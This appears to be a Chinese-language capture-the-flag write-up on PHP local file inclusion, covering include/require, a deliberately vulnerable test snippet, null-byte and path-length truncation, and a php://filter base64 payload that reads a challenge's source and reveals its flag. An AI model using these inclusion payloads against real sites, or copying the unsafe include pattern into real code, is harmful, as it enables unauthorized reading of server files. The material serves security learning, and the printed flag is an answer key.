<>1.1文件包含漏洞的形成


文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshell。

文件包含函数主要有以下四个:

* include() <http://www.w3school.com.cn/php/php_includes.asp>
* include_once <http://php.net/manual/zh/function.include-once.php>
* require()
* require_once()

他们之间的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行,而require()和require_once()则会直接报错并退出程序。

<>1.2本地文件包含漏洞

本地文件包含(load file include)简称LFI
测试代码如下:
<?php define("ROOT",dirname(_FILE_).'/'); $file=$_GET['file']; echo
ROOT.$file.'.php'; include(ROOT.$file.'.php'); ?>
如果输入file=1,并在1.php中输入<?php phpinfo();?>,页面将会显示出php的版本信息。

<>1.3文件包含截断

文件包含中,如果我们不能写入以.php为扩展名的文件,常常需要进行截断

* 方法一:
因为php基于c语言,是以0字符进行结尾的,所以可以用\0或者%00进行截断

* 方法二:

因为有些时候%00截断会被GPC和addslashes等函数过滤掉,这是我们再用第一种方法就就没用了,而在目录字符串,在windows256字节,linux下4096字节时会达到最大值,最大值之后的字符将会被抛弃,这时就可以用多个(.)和(/)来截断

<>1.4 直接上题目

题目链接 <http://4.chinalover.sinaapp.com/web7/index.php>



点击之后跳转到另一个界面


此时
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
我试着写了一段payload:
http://4.chinalover.sinaapp.com/web7/index.php?file=test123.php

http://4.chinalover.sinaapp.com/web7/index.php?file=index.php
完全没效果,哇,果然这一题不是这么简单,查看源码也没有啥有效信息,难受啊,实在没办法搜了答案,payload如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
convert.base64-encode <http://php.net/manual/zh/filters.convert.php>对数据流进行加密
完全没看懂,没接触过filter,不知道是干嘛的,于是搜了一下:



原来这一题还考了php://filter的绕过,首先过滤index.php这个数据流,然后通过base64加密读取文件代码,这样页面就显示了一段经过base64加密之后的字符串,如下图:



PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
拿去经过base64解码之后,网页源代码出现了:
<html> <title>asdf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a
href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file'];
if(strstr($file,"../")||stristr($file,
"tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); }
include($file); //flag:nctf{edulcni_elif_lacol_si_siht} ?> </html>
flag:nctf{edulcni_elif_lacol_si_siht}